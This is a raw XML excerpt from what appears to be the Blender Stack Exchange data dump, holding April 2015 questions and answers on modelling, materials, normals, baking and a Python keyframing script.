  <row Id="28193" PostTypeId="2" ParentId="28190" CreationDate="2015-04-07T13:32:26.373" Score="8" Body="&lt;p&gt;I don't think Blender's current Bridge Tool will give you quite the level of control you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I would use a Curve object, but I realize that that's a bit of a change from the work-flow you have in Maya. A script can be written to prepare a curve object using the median and normal of two arbitrarily angled polygons, then all you do is tweak the width of the curve, the number of subdivisions ( or custom profile shape ), and convert to mesh, and join into the current mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UVjq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence it would be doing this under the hood, when you use a Curve you can manipulate the handles and even scale the start or end point of the Curve so it tapers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SE3sM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here with tapering, each bezier_point has a radius property, this can be scripted or modified via the interface when you have a bezier_point selected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DQaL4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this proposal I imagine the following parameters as part of an operator.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tightness begin / end ( how long the curve handle extends from the median of each polygon )&lt;/li&gt;&#xA;&lt;li&gt;attempt to scale begin and end profile to the two polygons that we used as a starting point&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would be a first draft of such an addon, I imagine much could be improved, but I think curves are the answer and not the Bridge Tool.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently the repository has &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a simple &lt;code&gt;raw_script.py&lt;/code&gt; which can be used if you select two polygons. This is the 'minimum viable implementation'.&lt;/li&gt;&#xA;&lt;li&gt;also a folder called 'tubetool' which is some boilerplate around the initial script so it gets an operator class, and can be installed as an addon (if you know how to install addons..)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tool and Addon development will happen on GitHub, any input appreciated.&#xA;&lt;a href=&quot;https://github.com/zeffii/TubeTool/issues/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zeffii/TubeTool/issues/1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-08T17:23:39.207" LastActivityDate="2015-04-08T17:23:39.207" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28194" PostTypeId="2" ParentId="28192" CreationDate="2015-04-07T13:53:35.683" Score="1" Body="&lt;p&gt;I figured things out. I don't really understand why it works, but i was able to resolve my problem by inputting alpha of one of the textures into &quot;Mix shader&quot; factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a easy stuff, but i didn't expect it to work, because my UV sets are very different, and if merged together will interpenetrate each other and create a mess, so i didn't consider doing alpha of one of my textures as a mask.&lt;/p&gt;&#xA;" OwnerUserId="12973" LastActivityDate="2015-04-07T13:53:35.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28195" PostTypeId="1" CreationDate="2015-04-07T14:00:12.847" Score="4" ViewCount="451" Body="&lt;p&gt;So, I imagine to illicit the effect I'm looking for will be a rather complicated node setup...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working towards animating a fountain at night with multiple nozzles, or inflows. At each nozzle I would like to have a light of sorts to illuminate the water with different colors (for clarity one color per nozzle, but a different color at each nozzle). I've messed around with emission objects and I can't seem to get the effect I'm looking for. I'd like for this animation/render to look as realistic as possible and have the volume of the water to glow with the corresponding color. I achieved this effect by doing away with emission objects all together and instead having an emission shader plugged into the volume of the material output for my water (albeit with the strength turned wayyy down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works fine with only one inflow... Except I would like the color to fall off the further you get away from a predetermined position, or rather the further away you get from the inflow, aka the nozzle with the light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also... If at all possible my end goal would be to have this same effect for each nozzle. Each one having a different color and lighting up the fluid with the color/emission falling off to zero the further you get away from each nozzle/inflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help is greatly appreciated. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13579" LastActivityDate="2015-04-07T19:08:33.490" Title="Is it possible to vary the material color by location for a fluid?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28197" PostTypeId="1" CreationDate="2015-04-07T14:27:03.013" Score="0" ViewCount="58" Body="&lt;p&gt;I am looking for startup.blend file on linux debian. As explained &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&lt;/a&gt;, it should be under config folder. but I did not find it. Any help? &lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="599" LastEditDate="2015-04-10T01:46:01.777" LastActivityDate="2015-04-10T01:46:01.777" Title="Startup file not found in config folder" Tags="&lt;installation&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-04-10T03:10:10.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="28198" PostTypeId="1" AcceptedAnswerId="28202" CreationDate="2015-04-07T14:33:55.683" Score="15" ViewCount="1444" Body="&lt;p&gt;I have this shape and have no idea where to start modeling it from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtDQm.jpg&quot; alt=&quot;tessellated shape on a sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2015-12-26T20:49:24.360" Title="How can I model a spherical tesselation such as this one in blender?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28199" PostTypeId="2" ParentId="28191" CreationDate="2015-04-07T14:58:22.347" Score="4" Body="&lt;p&gt;There is a Very simple reason why your sky box is not displaying. The reason for this is that you did not reverse the normals on your cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enable &lt;em&gt;Backface Culling&lt;/em&gt; and set the normals to display,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XLTZv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will notice that your normals are pointing outward. This means that you can see them from the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you reverse the normals, (Select the faces that are pointing the wrong way and click &lt;em&gt;Flip Normals&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zpS1v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will make the normals point inward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3PsW0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you are seeing through the faces pointing inward to the other side.&#xA;If you were inside the cube, you will see all the faces properly.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-04-07T14:58:22.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28200" PostTypeId="2" ParentId="28198" CreationDate="2015-04-07T16:24:43.633" Score="7" Body="&lt;p&gt;Just an idea:&#xA;Add a plane and subdivide it to create a module.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Vt8Br.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KkqMz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate a module and create a swastika-like shape.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w6Dzg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the shapes as shown below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KURud.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to transform them into the sphere. To make it look better, densify the geometry of the module.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XDSB0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Although I'm not sure it's 100% accurate, you may give it a try.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-04-07T16:40:22.490" LastActivityDate="2015-04-07T16:40:22.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28201" PostTypeId="2" ParentId="26781" CreationDate="2015-04-07T17:06:04.870" Score="3" Body="&lt;p&gt;Another great one is to select one vertex close to the center of what you will be editing, and hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Num+&lt;/kbd&gt; to increase your selection. if you accidentally select more than you meant to,  just &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Num-&lt;/kbd&gt; to get rid of it.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-07T17:06:04.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28202" PostTypeId="2" ParentId="28198" CreationDate="2015-04-07T17:09:11.007" Score="25" Body="&lt;p&gt;Create a cube, in edit mode hit &lt;kbd&gt;W&lt;/kbd&gt; and subdivide it 4 times. Select the center loops of the main faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y7qtR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, invert the selection, with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; and delete those faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S3oIr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, select only the faces that are connecting the loops, turn on &lt;em&gt;Proportional Editing&lt;/em&gt;, with &lt;kbd&gt;O&lt;/kbd&gt;, change the pivot point to &lt;em&gt;Individual Origins&lt;/em&gt; and set the &lt;em&gt;Transformation Orientation&lt;/em&gt; to &lt;em&gt;Normal&lt;/em&gt;; hit &lt;kbd&gt;R&lt;/kbd&gt;, to rotate, then &lt;kbd&gt;Z&lt;/kbd&gt; twice to limit rotation along the normal, and input 45 as the rotation angle and adjust falloff with the middle mouse wheel; hit &lt;kbd&gt;Enter&lt;/kbd&gt; when finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vh3P1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v5D9y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the faces, hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and enter 1 to make the shape spherical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result with creased edges, then solidify modifier and subdivision surface:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1avj8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-04-07T23:14:40.020" LastActivityDate="2015-04-07T23:14:40.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28203" PostTypeId="2" ParentId="28195" CreationDate="2015-04-07T19:08:33.490" Score="5" Body="&lt;p&gt;Eureka! Thanks to Vince Scalia's suggestion of using a gradient node I figured it out and the results work perfectly. &lt;img src=&quot;https://i.stack.imgur.com/y9wBH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this was just for testing so it's a really simply case but you can see this material now simulates a light illuminating only the inflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll show a picture of the node tree for clarification:&lt;img src=&quot;https://i.stack.imgur.com/mNA6V.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the mapping nodes are for the coordinates of where we want the illumination to be. You need to have both the x-y location as well as a separate node for the height (z) of the inflow. Set the gradient texture node to spherical as well as your scale; a math node to combine each of them... input that into the factor of your mix shader with glass and an emission node and viola! Then you can add as many other lights as you want by just duplicating the entire node setup, changing your coordinates in the mapping node and adding another mix shader to combine them. Input all this data into the volume parameter of the material output. With this scheme you can now illuminate a fluid at any location any number of times with varying colors and best of all you can animate the whole thing with key frames!&lt;/p&gt;&#xA;" OwnerUserId="13579" LastActivityDate="2015-04-07T19:08:33.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28204" PostTypeId="1" CreationDate="2015-04-07T19:15:19.070" Score="1" ViewCount="80" Body="&lt;p&gt;I am somewhat unfamiliar with Blender, but I need to edit this .dae file in order to use it in my Xcode project for an iOS app. I would like to edit the die so that each face is a different png or jpg image. Is this possible? If so, how would I go about doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/7esdy6t48nbt870/Dices.dae?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/7esdy6t48nbt870/Dices.dae?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13659" LastEditorUserId="2217" LastEditDate="2015-04-07T23:51:00.823" LastActivityDate="2015-04-07T23:55:29.840" Title="Each face of Die a different image" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28205" PostTypeId="1" AcceptedAnswerId="28291" CreationDate="2015-04-07T20:24:16.110" Score="4" ViewCount="3763" Body="&lt;p&gt;I am having a problem when baking and then using a normal map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a high res and low res model and am using the &quot;Bake selected to active&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using BI to bake the image as I cannot seem to get cycles bake to work. I am then applying the normal map in Cycles through a Normal Map node plugged into a Diffuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the baked image itself looks OK and symmetrical. When I use it, however, half my model seems to have the normals inverted. I previously had a mirror modifier while modelling and I suspect that is involved, but it was applied before I started the bake. I also checked all my normals on the model and they face the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure it out and its driving me mad! Help!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GaNmF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_&#xA;_&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: On further investigation I can see that the problem lies with my baked normal map. If you look closely at it you can see that it is not baking correctly as it is uneven. So my bake is wrong, I just don't know why.&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="13661" LastEditorUserId="13661" LastEditDate="2015-04-08T12:35:53.223" LastActivityDate="2019-07-28T07:13:18.687" Title="When using a baked normal map it is inverted on half my model" Tags="&lt;normals&gt;&lt;baking&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28206" PostTypeId="1" AcceptedAnswerId="28229" CreationDate="2015-04-07T21:19:17.773" Score="3" ViewCount="1019" Body="&lt;p&gt;I get the error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;line 60, in return_rotation&lt;br&gt;&#xA;  TypeError: bpy.struct.keyframe_insert()&lt;br&gt;&#xA;  property &quot;constraints[&quot;FollowPath&quot;].offset_factor&quot; not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I really dont get what should be the problem and was hoping you guys could help out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import re&#xA;import os&#xA;import math&#xA;import linecache&#xA;&#xA;cube = bpy.data.objects['Cube'] # defining the cube (TestObject)&#xA;&#xA;&#xA;armature = bpy.data.objects['Armature'] # Defining the armature&#xA;bpy.context.scene.objects.active = armature # Selecting the armature&#xA;bpy.ops.object.mode_set(mode='POSE') # Setting the mode to POSE&#xA;footBone = armature.pose.bones['foot'] # Defining the footBone (the big one)&#xA;toesBone = armature.pose.bones['toes'] # Defining the toesBone (the small one)&#xA;footBone.rotation_mode = 'XYZ' # Set rotation mode to Euler XYZ, easier to understand&#xA;toesBone.rotation_mode = 'XYZ' # Set rotation mode to Euler XYZ, easier to understand&#xA;&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;# insert a keyframe&#xA;&#xA;&#xA;def file_len(fname): # A function which returns the number of lines in a file.&#xA;    with open(fname) as f:&#xA;        for i, l in enumerate(f):&#xA;            pass&#xA;    return i + 1 &#xA;&#xA;&#xA;numberOfLines = file_len('somestuff\Python Test/usedata.csv')#Getting number of lines - 10 to be safe, but safe limit will be removed later.&#xA;steps = 1/numberOfLines # How much, is needed to be increased in the followPath modifier, given that only one cycle is needed.&#xA;cube.constraints['Follow Path'].offset_factor = 0 #Setting offset to 0, Todo find the right offset. Find how much a cycle is.&#xA;&#xA;def return_rotation(start_value, end_value):&#xA;    steps = 1 / (end_value-start_value) # this ensures a complete cycle when all the lines are read&#xA;    counter = 0 # This is the frameNumber&#xA;    i = start_value # The line number from which to start reading from&#xA;    while i &amp;lt; end_value: #end_value is the line to be read to&#xA;        line = linecache.getline('somestuff\Python Test/usedata.csv', i).split(',') # fetching a single line&#xA;&#xA;        # setting rotation angles. It only accepts radians, hence the conversion.&#xA;        angleX = math.radians(float(line[0]))&#xA;        angleY = math.radians(float(line[1]))&#xA;        angleZ = math.radians(float(line[2]))&#xA;        print(angleX)&#xA;&#xA;&#xA;&#xA;        # TODO: check if toesBone is under the floor&#xA;&#xA;        #----------------FootBone-------------------------------------------------------------------------------------------------#&#xA;        # Rotate Bones&#xA;        footBone.rotation_euler.rotate_axis('X', angleX)&#xA;        footBone.rotation_euler.rotate_axis('Y', angleY)&#xA;        footBone.rotation_euler.rotate_axis('Z', angleZ)&#xA;&#xA;        # keyframe everything&#xA;        footBone.keyframe_insert(data_path=&quot;rotation_euler&quot; ,frame = counter) #Insert rotation keyframe&#xA;        footBone.constraints[&quot;Follow Path&quot;].offset_factor += steps # increasing offset factor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;The problem&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        footBone.keyframe_insert(data_path= 'constraints[&quot;Follow Path&quot;].offset_factor', frame = counter) # Keyframing the offset factor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;End of problem&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        # Checking if the offset_factor is above 1 or below zero, and correts this&#xA;        if(footBone.constraints['Follow Path'].offset_factor &amp;gt;= 1 or footBone.constraints['Follow Path'].offset_factor &amp;lt; 0): &#xA;            footBone.constraints['Follow Path'].offset_factor = 0&#xA;&#xA;        #----------------cube-----------------------------------------------------------------------------------------------------#&#xA;        cube.rotation_mode = 'XYZ'&#xA;&#xA;        cube.rotation_euler[0] += angleX&#xA;        cube.rotation_euler[1] += angleY&#xA;        cube.rotation_euler[2] += angleZ&#xA;        print(float(line[0]))&#xA;        print(cube.rotation_euler[0])&#xA;&#xA;        cube.keyframe_insert(data_path='rotation_euler',frame = counter)&#xA;        cube.constraints[&quot;Follow Path&quot;].offset_factor += steps #Stepping through cycle&#xA;        cube.keyframe_insert(data_path= 'constraints[&quot;Follow Path&quot;].offset_factor', frame=counter) # Keyframing the offset factor.&#xA;&#xA;        #Checking if the follow path cycle is above one. Might be removed, if not using offset_factor from 0-1 but instead -99999 - 99999&#xA;        if(cube.constraints['Follow Path'].offset_factor &amp;gt;= 1 or cube.constraints['Follow Path'].offset_factor &amp;lt; 0): &#xA;            cube.constraints['Follow Path'].offset_factor = 0&#xA;&#xA;&#xA;        i += 1&#xA;        counter += 1&#xA;    linecache.clearcache()&#xA;&#xA;return_rotation(1,280)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="1363" LastEditDate="2015-04-08T22:05:07.247" LastActivityDate="2016-12-28T10:52:14.120" Title="How to keyframe constraints on bones?" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28207" PostTypeId="1" AcceptedAnswerId="28230" CreationDate="2015-04-07T23:07:34.947" Score="3" ViewCount="495" Body="&lt;p&gt;I have quite a bit of experience with blender and this is the first time I've run into troubles with texturing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite simply, I have a mesh that I have UVmapped in the same way I always do, but no matter what I do, I can't get a texture to stick on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows up perfectly in the viewport, but not in the preview- or final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make another mesh, like a standard cube, with the same material, that mesh gets the texture just like normal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend file included, along with a screenshot that shows everything I've just said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/geb0vxlmbqzk1ef/amaryllis.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/geb0vxlmbqzk1ef/amaryllis.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/edevq.png&quot; alt=&quot;blender screen shot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13663" LastEditorUserId="2217" LastEditDate="2015-04-07T23:44:12.173" LastActivityDate="2015-04-08T08:39:00.540" Title="Texture is not rendering" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28208" PostTypeId="2" ParentId="28207" CreationDate="2015-04-07T23:50:11.460" Score="2" Body="&lt;p&gt;The texture works as soon as you change the render Feature Set to Supported from Experimental. I don't know what current experimental feature is breaking it, but at least you know you aren't doing something else wrong.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-04-07T23:50:11.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28209" PostTypeId="2" ParentId="28204" CreationDate="2015-04-07T23:55:29.840" Score="1" Body="&lt;p&gt;This can be done a number of ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Set a different material to each facing of the die and give each a separate image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Make a color stencil texture with a different color on each face, then use it as a factor between the different image textures within the same material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Like above, but use vertex colors.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-04-07T23:55:29.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28218" PostTypeId="2" ParentId="26822" CreationDate="2015-04-08T02:07:26.757" Score="1" Body="&lt;p&gt;You have some &lt;a href=&quot;http://lender.org/manual/composite_nodes/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;compositing nodes&lt;/a&gt; which appear to have been added by the &lt;em&gt;setup tracking scene&lt;/em&gt; button in the motion tracker. Note that AFAIK this setup doesn't work with cycles out of the box, see &lt;a href=&quot;https://blender.stackexchange.com/q/832/599&quot;&gt;How do I use the &amp;quot;Setup Tracking Scene&amp;quot; feature with Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have two separate &lt;a href=&quot;http://blender.org/manual/render/post_process/layers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;renderlayers&lt;/a&gt;, one of which is blank because it is masking itself. It's a bit hard to say how it should be without knowing more about what you are trying to do, but you can at least prevent the render from &quot;disappearing&quot; by connecting the background renderlayer straight into the output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/daJIn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you read/watch some tutorials on renderlayers and compositing :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-04-08T02:07:26.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28219" PostTypeId="1" AcceptedAnswerId="28243" CreationDate="2015-04-08T02:42:15.773" Score="5" ViewCount="894" Body="&lt;p&gt;Its a pretty straight forward question.  I have tried using the visibility actuator but has no option for toggle.  I have also tried using an animation but it doesn't seem to be working.  &lt;/p&gt;&#xA;" OwnerUserId="13619" LastEditorUserId="8282" LastEditDate="2018-09-05T10:20:46.370" LastActivityDate="2019-01-29T15:19:57.137" Title="How do I toggle an objects visibility in blender game engine?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28220" PostTypeId="2" ParentId="28205" CreationDate="2015-04-08T02:55:23.293" Score="3" Body="&lt;p&gt;If you made the UV's while the mirror modifier was active then the UV's for both sides should be overlapped, the bake is only correct for one half of the model.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hover over the UVImage Editor and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; (Unpack), you should end up with distinct islands for all the geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should re-bake.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-04-08T02:55:23.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28221" PostTypeId="1" CreationDate="2015-04-08T03:01:43.993" Score="1" ViewCount="218" Body="&lt;p&gt;Hai following is a texture painted map I created for my character. how can I use image texture for each part of my uv, like cloth texture for cloth and leather texture for bag, without using multiple uv maps.&lt;img src=&quot;https://i.stack.imgur.com/QCeki.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13666" LastActivityDate="2015-04-08T11:49:58.720" Title="texture mapping in cycles for game model" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28222" PostTypeId="1" CreationDate="2015-04-08T03:09:55.590" Score="7" ViewCount="4482" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KmgIX.png&quot; alt=&quot;The un-rendered image, from afar&quot;&gt;Essentially, my problem is that i am trying to render a scene, however, blender crashes on me early during the render.&#xA;I only have about 14 total objects in the scene. (It's not that complex)&#xA;I tried to render a different blender file which was bigger than the one that i am having problems with, and the scene renders just fine. There is no difference in the render presets for both of these files. However, i still cannot render the other scene. It gets to preparing scene data, but then it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/idmgV.png&quot; alt=&quot;The pre-rendered version of it, not the fully rendered version&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/165/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=165&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13667" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2017-07-09T18:30:06.327" Title="Blender render crash when using subsurf modifiers." Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
